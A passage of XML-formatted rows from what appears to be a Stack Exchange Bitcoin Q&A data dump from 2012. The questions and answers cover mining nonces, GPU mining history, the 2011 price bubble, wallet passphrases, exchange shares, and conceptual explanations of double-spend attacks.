LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-05-04T20:42:31.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3567" PostTypeId="1" AcceptedAnswerId="3568" CreationDate="2012-05-04T22:01:15.677" Score="3" ViewCount="533" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1781/nonce-size-will-it-always-be-big-enough&quot;&gt;Nonce size - Will it always be big enough?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;My question may be misphrased, if so, I'll correct it if you let me know in the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding of mining is that the header is appended with some &lt;code&gt;nonce&lt;/code&gt; and that is SHA256'd to get some hash, let's say: &lt;code&gt;7050a40746c695a220acb99c725ef66b29aa863707b17ba939c8bb1f5ec52b67&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens until there are X number of consecutive 0's in that hash. Is there a guarantee that there will always be at least X 0's in a row for every block header?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-05-04T23:29:49.747" Title="Is there a guaranteed hash for every block?" Tags="|hash|algorithms|sha256|nonce|" AnswerCount="1" CommentCount="0" ClosedDate="2012-05-05T12:59:16.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="3568" PostTypeId="2" ParentId="3567" CreationDate="2012-05-04T23:29:49.747" Score="5" Body="&lt;p&gt;There's no guarantee that you can solve a block just by adjusting the &lt;code&gt;nonce&lt;/code&gt;.  But there are other things you can change in a block that also change the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1781/659&quot;&gt;This question&lt;/a&gt; is pretty much an exact duplicate of your question.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-05-04T23:29:49.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3569" PostTypeId="1" CreationDate="2012-05-05T11:23:35.937" Score="-1" ViewCount="223" Body="&lt;p&gt;With the new design it's starting to take off. I want in on GLBSE itself, is this possible or are there any plans for it to happen?&lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2012-05-06T08:13:11.973" Title="Can I invest in GLBSE on GLBSE?" Tags="|glbse|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3571" PostTypeId="1" CreationDate="2012-05-05T13:44:10.230" Score="-5" ViewCount="161" Body="&lt;p&gt;There are a number of Bitcoin-related websites that offer services related to handling sensitive user information (like eWallets holding onto our private keys), but not many of them are certified by a reliable third party to be secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, MtGox is &lt;a href=&quot;https://trustsealinfo.verisign.com/splash?form_file=fdf/splash.fdf&amp;amp;dn=mtgox.com&amp;amp;lang=en&quot; rel=&quot;nofollow&quot;&gt;certified by Norton&lt;/a&gt; to be free of malware and analysed for security flaws on regular basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other Bitcoin-related services are certified secure by external parties?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-06T16:24:36.243" Title="Which Bitcoin-related services are certified secure by external parties?" Tags="|security|services|websites|" AnswerCount="2" CommentCount="3" ClosedDate="2015-08-10T22:57:48.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="3572" PostTypeId="1" AcceptedAnswerId="3575" CreationDate="2012-05-05T17:11:37.850" Score="7" ViewCount="6063" Body="&lt;p&gt;The GPU miners are widely used nowadays, but that wasn't always the case. When was the first GPU mining software made available publicly?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:22:45.207" LastActivityDate="2016-03-31T10:22:45.207" Title="When was the first GPU miner made available publicly?" Tags="|gpu-mining|history|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3573" PostTypeId="2" ParentId="3572" CreationDate="2012-05-05T17:28:02.710" Score="3" Body="&lt;p&gt;According to the History page, puddinpop's CUDA miner was released September 18, 2010.  The article also shows that the first public OpenCL miner was released on October 1, 2010.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/History&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/History&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Prior to there being publicly available software, the article shows July 18, 2010 as the date that the first block was mined by the first person believed to have been using GPUs.  Art Forz developed and used privately GPU miner code and had built an OpenCL GPU cluster for mining.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/ArtForz&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/ArtForz&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-05-05T17:35:18.940" LastActivityDate="2012-05-05T17:35:18.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3574" PostTypeId="2" ParentId="3562" CreationDate="2012-05-05T17:50:58.233" Score="8" Body="&lt;p&gt;No. The average time per confirmation will always be about 10 minutes (but it's possible that the variance will be lower in the future). And the number of confirmations required to prevent double-spending by an agent with a given hashrate will also not change (6 is an arbitrary number reflecting a &quot;low enough&quot; probability for someone with a &quot;high enough&quot; hashrate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will change is services to bridge the gap. There will be split-key eWallets which cannot steal your money on one hand, and can have trusted green addresses on the other; and there will be insurance agents such as &lt;a href=&quot;https://zipconf.com/&quot;&gt;https://zipconf.com/&lt;/a&gt; that absorb confirmation risk based on their model of the probabilities of double-spending.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-05-05T17:50:58.233" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3575" PostTypeId="2" ParentId="3572" CreationDate="2012-05-05T18:17:08.980" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=12.msg52#msg52&quot; rel=&quot;nofollow noreferrer&quot;&gt;This post&lt;/a&gt; from SmokesTooMuch seems to be the first time GPU mining was suggested:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Suggestion :&lt;/p&gt;&#xA;&lt;p&gt;Since the coins are generated faster on fast machines, many people will want to use their GPU power to do this, too.&lt;/p&gt;&#xA;&lt;p&gt;So, my suggestion is to implement a GPU-computing support using ATI Stream and Nvidia CUDA.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=12.msg54#msg54&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's satoshi&lt;/a&gt; in December 2009 asking for people not to use GPUs to mine:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;We should have a gentleman's agreement to postpone the GPU arms race as long as we can for the good of the network.  It's much easer to get new users up to speed if they don't have to worry about GPU drivers and compatibility.  It's nice how anyone with just a CPU can compete fairly equally right now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So it seems the idea was around for a long time before the savages broke the gentleman's agreement.  :)&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-05-05T18:17:08.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3576" PostTypeId="1" CreationDate="2012-05-05T18:30:18.593" Score="3" ViewCount="632" Body="&lt;p&gt;As I heard the Bitcoin bubble started around April 2011 due to an article on Bitcoin in some news website. What article started the Bitcoin bubble?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-15T17:46:56.057" Title="What article started the Bitcoin bubble?" Tags="|history|news-coverage|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3577" PostTypeId="2" ParentId="3576" CreationDate="2012-05-05T18:40:37.143" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://news.slashdot.org/story/11/03/23/0210207/google-engineer-releases-open-source-bitcoin-client&quot; rel=&quot;nofollow&quot;&gt;A Slashdotting of BitcoinJ&lt;/a&gt; is the first time that I personally saw Bitcoin mentioned anywhere ... and with a Google Engineer behind it.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-05-05T18:40:37.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3578" PostTypeId="2" ParentId="3576" CreationDate="2012-05-05T19:13:53.810" Score="2" Body="&lt;p&gt;There were events that coincided with Bitcoin's rapid ascent, but not necessarily does that mean those events caused the bubble.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jason Calacanis' &quot;&lt;a href=&quot;http://www.launch.co/blog/l019-bitcoin-p2p-currency-the-most-dangerous-project-weve-ev.html&quot; rel=&quot;nofollow&quot;&gt;Most dangerous open source project ever&lt;/a&gt;&quot; post was one such time where the price spiked at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jerry Brito's article raised some good attention and subsequent coverage in Forbes didn't hurt either.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Press#April&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Press#April&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The real catalyst that got things started in Spring 2011 though was February's &lt;a href=&quot;http://www.youtube.com/watch?v=RCzsCmhkjMM&quot; rel=&quot;nofollow&quot;&gt;Security Now podcast&lt;/a&gt; with Steve Gibson.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-05T19:13:53.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3579" PostTypeId="2" ParentId="3571" CreationDate="2012-05-05T19:16:30.203" Score="0" Body="&lt;p&gt;CampBX contracts with McAfee to run a scan:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.mcafeesecure.com/RatingVerify?ref=campbx.com&quot; rel=&quot;nofollow&quot;&gt;https://www.mcafeesecure.com/RatingVerify?ref=campbx.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-05T19:16:30.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3580" PostTypeId="1" AcceptedAnswerId="3581" CreationDate="2012-05-05T20:28:47.040" Score="4" ViewCount="458" Body="&lt;p&gt;What is the highest recorded difficulty in the main net and which blocks was it used for?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-04-18T22:58:22.983" LastActivityDate="2013-04-18T22:58:22.983" Title="What is the highest recorded difficulty in the main net?" Tags="|blockchain|difficulty|history|charts|" AnswerCount="2" CommentCount="2" ClosedDate="2015-10-19T09:31:05.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="3581" PostTypeId="2" ParentId="3580" CreationDate="2012-05-05T21:52:02.987" Score="4" Body="&lt;p&gt;As at 9th May 2012, the highest recorded difficult has been:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1,888,786.705353&lt;/strong&gt; first reached August 01, 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks 139,104 through 141,119:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/b/139104&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/b/139104&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc#gid=0&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Difficulty History&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="61" LastEditDate="2012-11-24T20:33:58.963" LastActivityDate="2012-11-24T20:33:58.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3582" PostTypeId="2" ParentId="3576" CreationDate="2012-05-06T03:35:31.413" Score="1" Body="&lt;p&gt;I thought it was &quot;&lt;a href=&quot;http://www.wired.com/threatlevel/2011/06/silkroad/&quot; rel=&quot;nofollow&quot;&gt;Underground Website Lets You Buy Any Drug Imaginable&lt;/a&gt;&quot; in &lt;a href=&quot;http://www.wired.com/threatlevel/2011/06/silkroad/&quot; rel=&quot;nofollow&quot;&gt;wired.com&lt;/a&gt;'s &quot;&lt;a href=&quot;http://www.wired.com/threatlevel/&quot; rel=&quot;nofollow&quot;&gt;Threat Level&lt;/a&gt;&quot; on June 1, 2011 that triggered the bubble.  The bubble really started &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#ig6-hourzczsg2011-05-25zeg2011-06-12ztgSzm1g10zm2g25&quot; rel=&quot;nofollow&quot;&gt;just after that date&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-06-13T01:31:11.800" LastActivityDate="2012-06-13T01:31:11.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3583" PostTypeId="2" ParentId="3569" CreationDate="2012-05-06T08:08:09.670" Score="3" Body="&lt;p&gt;GLBSE (or BitcoinGlobal, to be exact) has shares, but the shares aren't managed on GLBSE yet and the current bylaws prevent the shareholders from selling shares to non-shareholders without a majority vote. Moving the shares to GLBSE is planned, and I expect public trading to be allowed eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm treasurer of BitcoinGlobal and a shareholder.)&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-05-06T08:13:11.973" LastActivityDate="2012-05-06T08:13:11.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3584" PostTypeId="1" CreationDate="2012-05-06T11:28:19.203" Score="-2" ViewCount="266" Body="&lt;p&gt;I represent an organization that belong to a network of not for profit organizations placed all around the world. We have a centralised office which register internal transactions between members. Each member of the network has an account number. Everything is done manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I read about the Bitcoin I thought we could create a node of the network in order to issue new money and keep track of transactions. We could fix our exchange rate of 1 BITCOIN equal to 1 Euro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think this is possible?&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2012-05-07T04:12:22.790" Title="create a node, issue new money" Tags="|transactions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3585" PostTypeId="2" ParentId="3584" CreationDate="2012-05-06T12:51:29.130" Score="3" Body="&lt;p&gt;Not really. If you want to establish a fixed exchange of Bitcoin, it would be pretty hard. You could set the minimum, but the maximum would be up to the sellers. Similarly if you'd want to establish a fixed rate for gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create an alternative cryptocurrency owned only by yourself, but it would be way too much hassle for what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use Bitcoin for tracking transactions, it can also be a bit problematic. It all depends on what do you want to do exactly. Bitcoin will definitely be a way to cut costs of international transactions and allow transparent tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, issuing your own money with Bitcoin is very hard, using Bitcoin as a means of exchanging money is very useful. If you want some more specific help, please describe your problem or current use in more detail.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-06T12:51:29.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3586" PostTypeId="2" ParentId="3571" CreationDate="2012-05-06T13:59:04.460" Score="1" Body="&lt;p&gt;I've asked my mom (whom I know to be reliable) and she agreed that my service, bitvau.lt, was indeed entirely secure and functional. She also said she was proud of me and that she didn't think I'd ever earn anything with it.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-05-06T13:59:04.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3587" PostTypeId="1" AcceptedAnswerId="3591" CreationDate="2012-05-06T18:31:41.170" Score="5" ViewCount="9989" Body="&lt;p&gt;I'm using the standard Mac Bitcoin client and I added a passphrase. I'd like to remove that passphrase. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-12-11T12:57:27.897" Title="Can I remove the passphrase from my Bitcoin Wallet?" Tags="|wallet|bitcoin-core|passphrase|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3588" PostTypeId="2" ParentId="3587" CreationDate="2012-05-06T18:42:54.447" Score="3" Body="&lt;p&gt;Yes. It is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either the UI supports it or it does not. You are better equipped to find out than I am but I suspect it does not (yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not you can either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Export the keys, move the wallet files (rather than deleting it, so you can move it back if things to wrong, on Mac the wallet files are here: ~/Library/Application Support/Bitcoin/), import the keys.&lt;/li&gt;&#xA;&lt;li&gt;implement it yourself / pay someone to implement if for you&lt;/li&gt;&#xA;&lt;li&gt;find an alternative client to do it for you (Armory might have it, a list is &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Clients&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;find an alternative client to open it and export the private keys, so you can import them into a new unencrypted wallet.&lt;/li&gt;&#xA;&lt;li&gt;when all else fails: transact your Bitcoin towards a new unencrypted wallet and ditch the old, encrypted, wallet. Be sure to tell people you've migrated, your old addresses are still in your encrypted wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="909" LastEditorUserId="909" LastEditDate="2014-12-11T12:57:27.897" LastActivityDate="2014-12-11T12:57:27.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3589" PostTypeId="1" CreationDate="2012-05-06T20:15:07.313" Score="8" ViewCount="913" Body="&lt;p&gt;I was wondering if there is any in depth (with formal theorems) analysis of the security of the Bitcoin system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The analysis in the original paper by Nakamoto is quite empirical and not that formal. I would love to see a detailed statement of what the actual assumptions for Bitcoin security are and what these assumptions imply about the security related to the &quot;corruption&quot; of the block chain and double spending problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can deduce the respective theorems from Nakamoto's security analysis but I am not an expert in this area and there could be some hidden assumptions/implications I could overlook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering if someone else already tried to do a formal and detailed analysis of the  security aspects of Bitcoin perhaps in the same manner as some textbook treat other cryptographic applications?&lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="44" LastEditDate="2013-05-09T23:53:17.630" LastActivityDate="2013-05-09T23:53:17.630" Title="Formal security analysis of Bitcoin" Tags="|security|architecture|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3590" PostTypeId="2" ParentId="3589" CreationDate="2012-05-06T20:31:57.930" Score="7" Body="&lt;p&gt;Currently I'm in the process of finishing my master thesis on the topic of Bitcoin security, and I know there is one more person making a similar master thesis. While it might not be as in-depth of an analysis as a professional cryptography expert might perform, it should be fairly extensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the course of working on the subject I haven't found any article more comprehensive than the &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki page on Weaknesses&lt;/a&gt; of Bitcoin. A lot of problems have been covered in depth on this Stackexchange, as well as some topics on the Bitcoin forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My master thesis is available to read in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; on the Bitcoin forum. It covers a wide analysis of many aspects of Bitcoin, from its cryptography algorithms, through the protocol, the standard client, Bitcoin-related applications, and even users' behaviours. I hope that answers your question better.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-06-17T22:55:49.580" LastActivityDate="2012-06-17T22:55:49.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3591" PostTypeId="2" ParentId="3587" CreationDate="2012-05-06T23:32:44.133" Score="4" Body="&lt;p&gt;The Bitcoin.org client does not yet have the feature to remove encryption from a wallet.  You can use a single space as the encryption key but there no way to get it to no longer use encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is expected to be implemented in a future release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, those that want this will create a new wallet and leave it unencrypted, and send their coins from the encrypted wallet to it.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-05-07T09:59:47.790" LastActivityDate="2012-05-07T09:59:47.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3592" PostTypeId="2" ParentId="3584" CreationDate="2012-05-07T04:12:22.790" Score="2" Body="&lt;p&gt;Bitcoin sacrificed a lot of things to be completely decentralized. Among other things, that means it's not possible for a single entity to &quot;issue&quot; Bitcoins, nor is it really possible to use a pegged exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can certainly design an electronic currency that you back with Euros. You can issue the currency to people who pay you Euros and allow people to redeem the currency for Euros. There are all kinds of trust and security issues, but it's doable. However, you should totally ignore the way Bitcoin does pretty much everything. None of that is suitable for a model where one entity guarantees that the currency will be redeemable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one thing, the Bitcoin model secures transactions with computing power, and if you couldn't get enough of it, your currency wouldn't be secure. Since you're pegging the currency to the Euro, that would mean you would have to pay out Euros to those who secure the currency. That's not going to be much fun for you.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-05-07T04:12:22.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3593" PostTypeId="2" ParentId="1480" CreationDate="2012-05-07T07:55:11.503" Score="1" Body="&lt;p&gt;The blockchain-based betting services could essentially be used as a mixing service, where the makeup of a wallet is significantly different after several passes through the wagering service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It still leaves a direct trace but the set of coins held initially is mostly gone ne and the composition of the wallet after is mostly coins that weren't there before.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=79079.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=79079.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-07T07:55:11.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3595" PostTypeId="1" CreationDate="2012-05-07T12:41:28.653" Score="3" ViewCount="215" Body="&lt;p&gt;I run the OS X Diablo Minor on my new Macbook.  It seems to work well enough and it earns me a few bit-cents each day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is that I have to cut it off whenever I'm working on the Mac, because it hogs the GPU.  Is there a parameter or some config file within the .app bundle that I can modify that will reduce the aggression level so I can use my Mac and mine with unused GPU cycles?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="5406" LastEditDate="2016-04-01T09:34:34.537" LastActivityDate="2016-04-01T09:34:34.537" Title="Is there a way to set the aggression for the OS X Diablo Minor?" Tags="|miner-configuration|mac|gpu-mining|diablominer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3596" PostTypeId="2" ParentId="3556" CreationDate="2012-05-07T14:23:03.623" Score="6" Body="&lt;p&gt;For a chart of the average number of transactions per block per day:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/charts/n-transactions-per-block&quot;&gt;http://blockchain.info/charts/n-transactions-per-block&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="153" LastEditDate="2012-05-07T17:11:05.430" LastActivityDate="2012-05-07T17:11:05.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3597" PostTypeId="2" ParentId="3595" CreationDate="2012-05-07T16:03:44.000" Score="1" Body="&lt;p&gt;There's really no point in mining on a MacBook. It'll get super hot and the GPU will be totally bogged down. If you reduce the aggression, then you kill the point of mining altogether on your machine.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-05-07T16:03:44.000" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3598" PostTypeId="2" ParentId="308" CreationDate="2012-05-07T17:49:04.133" Score="4" Body="&lt;p&gt;There are multiple attack vectors for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the merchant accepts on 0/unconfirmed then there is a race attack in which an attacker (scammer) will send one transaction to the &quot;merchant&quot; (or to a node closer to the merchant) and a separate transaction that double spends those same coins to other nodes, such as mining nodes.  Depending on the merchant's configuration the success ratio of this will vary.  The range where the attacker is successful ranges from near 0% to near 100%, but simple steps taken by the merchant (turn off listener, explicitly connect to well connected nodes) will prevent most of the risks of this attack. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=79090.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=79090.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the merchant accepts on 0/unconfirmed, regardless of protections from a race attack then the Finney attack is possible.  In this, the attacker also has control of a miner that has successfully mined but not yet announced a block with a special transaction that also has not been announced.  As soon as the block is mined, the attacker spends the coin from that special transaction with a merchant, secures delivery of the goods purchased, then broadcasts the block which contains the special transaction which invalidates the payment the merchant already accepted.  A disincentive to this is that for every couple seconds that the block is held, costs the attacker, on average, about $1 so even with this vulnerability there are tools available to a merchant to manage the risk so payment on 0/unconfirmed can still be recognized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the number of confirmations required increases the success of a double spend attack drop, and a merchant that requires 6/unconfirmed is essentially secure (based on probability of success) against double spends where the miner attempts to rewrite blocks.  Essentially this is only success for an attacker once 51% majority of network hashing is attained.  The consensus is that while this technically is possible, it doesn't make economic sense (no profit from doing so).  So if &quot;feasible&quot; means it must bring a profit, then this 51% attack method wouldn't be one of the methods you ask about.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-07T17:49:04.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3599" PostTypeId="2" ParentId="308" CreationDate="2012-05-08T06:29:10.450" Score="0" Body="&lt;p&gt;An attacker with more computational power than all legitimate Bitcoin miners can, given enough time, reverse any Bitcoin transaction after the latest checkpoint. Executing this attack is generally believed to be very unprofitable, since an attacker this powerful would be noticed as soon as he reversed any transactions, and all potentially-vulnerable sites would shut down until the attacker lost control. The Bitcoin developers could even reverse the attacker's damage in some cases by hard-coding some transaction ordering info into the client (though doing this would be controversial).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attackers with less computational power than the rest of the network can still succeed in reversing transactions, though their success isn't guaranteed. Reversing a two-confirmation transaction, for example, requires solving three blocks before the rest of the network solves one. A miner who solves one-fourth of all blocks on average can do this with probability ~1/64. Whenever the attacker fails to create the three blocks necessary, he will lose any blocks he created in the double-spend attempt, so attempting this attack is often unprofitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reversing a 1-confirmation transaction requires mining only two blocks in row, which can be profitable against certain targets with only around 5% of the network's computational power. With 5% of the network, the attacker has a 5% chance of solving the first necessary block and a 5% chance of solving the next block and succeeding in the double-spend. The attacker only risks losing a block while mining the second block, so his real odds of losing a block instead of reversing the transaction is 95% -- not too bad in some cases. This was MyBitcoin's excuse for how they lost customer money (which may or may not be true, though it is possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0-confirmation transactions can be reversed by solving only one block, and sometimes without solving any blocks. They should be treated as being nearly as reversible as credit card payments.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-05-08T06:35:43.437" LastActivityDate="2012-05-08T06:35:43.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
